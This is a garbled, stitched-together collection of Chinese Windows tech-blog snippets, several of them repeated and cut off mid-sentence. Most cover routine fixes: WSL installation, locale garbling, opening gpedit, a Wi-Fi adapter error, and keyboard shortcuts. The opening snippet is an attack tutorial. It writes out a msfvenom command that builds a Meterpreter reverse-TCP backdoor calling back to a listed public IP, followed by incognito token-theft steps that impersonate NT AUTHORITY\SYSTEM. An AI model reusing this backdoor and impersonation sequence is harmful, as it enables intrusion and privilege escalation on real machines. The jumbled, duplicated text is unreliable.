WIN进程注入&BypassUAC&令牌窃取本地提权—win令牌窃取假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候，需通过假冒域管理员的令牌进行攻击。我这里用到了windowns2008虚拟机做演示先用msf生成一个后门msfvenom-pwindows/meterpreter/reverse_tcpLHOST=47.94.236.117LPORT=3333-fexe-omsf.exemsf上线useincognito导入模块list_tokens-u列出进程impersonate_token"NTAUTHORITY\SYSTEM"令牌窃取获得s
前置条件确认系统版本win1019041版本以及更高查看方式：win+r输入winverwin11*启用或关闭Windows功能win+r,输入optionalfeatures,勾选适用于Linux的Windows子系统，和虚拟机平台选项。然后重启电脑。官方文档提示可以直接运行wsl--install命令进行wsl安装，但是此命令同时会安装Linux的Ubuntu的发行版。此篇教程以手动自定义镜像方式进行安装。如果闲麻烦可以直接运行wsl--install。安装wsl包链接地址：「wsl_update_x64.msi」https://www.aliyundrive.com/s/Lr5LhCmY
前置条件确认系统版本win1019041版本以及更高查看方式：win+r输入winverwin11*启用或关闭Windows功能win+r,输入optionalfeatures,勾选适用于Linux的Windows子系统，和虚拟机平台选项。然后重启电脑。官方文档提示可以直接运行wsl--install命令进行wsl安装，但是此命令同时会安装Linux的Ubuntu的发行版。此篇教程以手动自定义镜像方式进行安装。如果闲麻烦可以直接运行wsl--install。安装wsl包链接地址：「wsl_update_x64.msi」https://www.aliyundrive.com/s/Lr5LhCmY
方法一：1、首先打开控制面板，然后将右侧的查看方式设置为大图标，接着选择区域和语言。2、进入到界面之后，先定位到上方的格式，接着把格式设置为中文。3、之后再定位到上方的位置，选择中国。4、接着再定位到上方的管理选项，然后点击更改系统区域设置。5、接着在弹出的窗口中，点击下拉菜单，之后选择中文（简体，中国），然后点击确定即可。方法二：1、按Win+R打开运行，接着在窗口输入regedit。2、之后在打开的注册表编辑器界面中，根据下图依次点击路径，然后选择AssociatedCharset。3、接着双击右侧的ANSI(00)和OEM（FF），将其数值数据设置为Yes，最后点击确定。4、若还是解决不
win10系统不知道哪天开始，打不开组策略，局域网共享打印机也搜索不到，运行输入gpedit.msc，就提示下图： 百度了一大推解决方法，不是改防火墙就是win10安装包重置系统，都没有解决问题，最后终于找到了解决办法： 因为mmc.exe不能运行，运行窗口直接输入gpedit.msc是打不开组策略的，那么：一、开始--window系统--命令提示符--右键选择以管理员身份运行二、窗口输入gpedit.msc三、配置组策略：1.计算机配置--windows设置--安全设置--本地策略--安全选项--用户账户控制：用于内置管理员帐户的管理员批准模式，启用2.计算机配置--windows设置--
方法一：1、首先打开控制面板，然后将右侧的查看方式设置为大图标，接着选择区域和语言。2、进入到界面之后，先定位到上方的格式，接着把格式设置为中文。3、之后再定位到上方的位置，选择中国。4、接着再定位到上方的管理选项，然后点击更改系统区域设置。5、接着在弹出的窗口中，点击下拉菜单，之后选择中文（简体，中国），然后点击确定即可。方法二：1、按Win+R打开运行，接着在窗口输入regedit。2、之后在打开的注册表编辑器界面中，根据下图依次点击路径，然后选择AssociatedCharset。3、接着双击右侧的ANSI(00)和OEM（FF），将其数值数据设置为Yes，最后点击确定。4、若还是解决不
win10系统不知道哪天开始，打不开组策略，局域网共享打印机也搜索不到，运行输入gpedit.msc，就提示下图： 百度了一大推解决方法，不是改防火墙就是win10安装包重置系统，都没有解决问题，最后终于找到了解决办法： 因为mmc.exe不能运行，运行窗口直接输入gpedit.msc是打不开组策略的，那么：一、开始--window系统--命令提示符--右键选择以管理员身份运行二、窗口输入gpedit.msc三、配置组策略：1.计算机配置--windows设置--安全设置--本地策略--安全选项--用户账户控制：用于内置管理员帐户的管理员批准模式，启用2.计算机配置--windows设置--
win10找不到无线网络报错：Windows无法自动将IP协议堆栈绑定到网络适配器问题描述：今天启动电脑，忽然发现连不上WIFI了，但可以拨号连接有线网。大致情况如下：上图是修复后的结果，在未修复时，红色框区域为空，下面黄色框区域的按钮也只有“飞行模式”，没有“WLAN”和“移动热点”。这个问题之前好像也遇到过，也是很突然就发生了，但重启后就正常了，这次又发生，于是简单记录以下应对之法。解决方案：本文先给出“win10找不到无线网络报错”的通用解决方案，并在方案中介绍本次出现的“Windows无法自动将IP协议堆栈绑定到网络适配器”问题。尝试一：第一个尝试，当然是屡试不爽的方法——重启电脑，解
win10找不到无线网络报错：Windows无法自动将IP协议堆栈绑定到网络适配器问题描述：今天启动电脑，忽然发现连不上WIFI了，但可以拨号连接有线网。大致情况如下：上图是修复后的结果，在未修复时，红色框区域为空，下面黄色框区域的按钮也只有“飞行模式”，没有“WLAN”和“移动热点”。这个问题之前好像也遇到过，也是很突然就发生了，但重启后就正常了，这次又发生，于是简单记录以下应对之法。解决方案：本文先给出“win10找不到无线网络报错”的通用解决方案，并在方案中介绍本次出现的“Windows无法自动将IP协议堆栈绑定到网络适配器”问题。尝试一：第一个尝试，当然是屡试不爽的方法——重启电脑，解
我们接着上篇分享一些快捷操作：一，单个窗口操作： 1，win+方向键 上篇已有详细说明，不再赘述（请参考：Win11有关win的快捷键-X_ChenD_Hai-博客园(cnblogs.com)第13条） 2，Alt+F4 关闭当前窗口。 3，F11 全屏显示当前窗口内容，再按一次推出全屏。 二，多任务操作： 1，Alt+Tab 在当前窗口快速切换敞口，按住Alt，用Tab键选择置于顶层的敞口，松开Alt后，选择的串口就位于顶层了。 2，win+Tab 显示所有虚拟桌面和选定桌面的窗口，松开，用方向键选择；空格进入选定窗口或查看选定桌面所有窗口；Ent
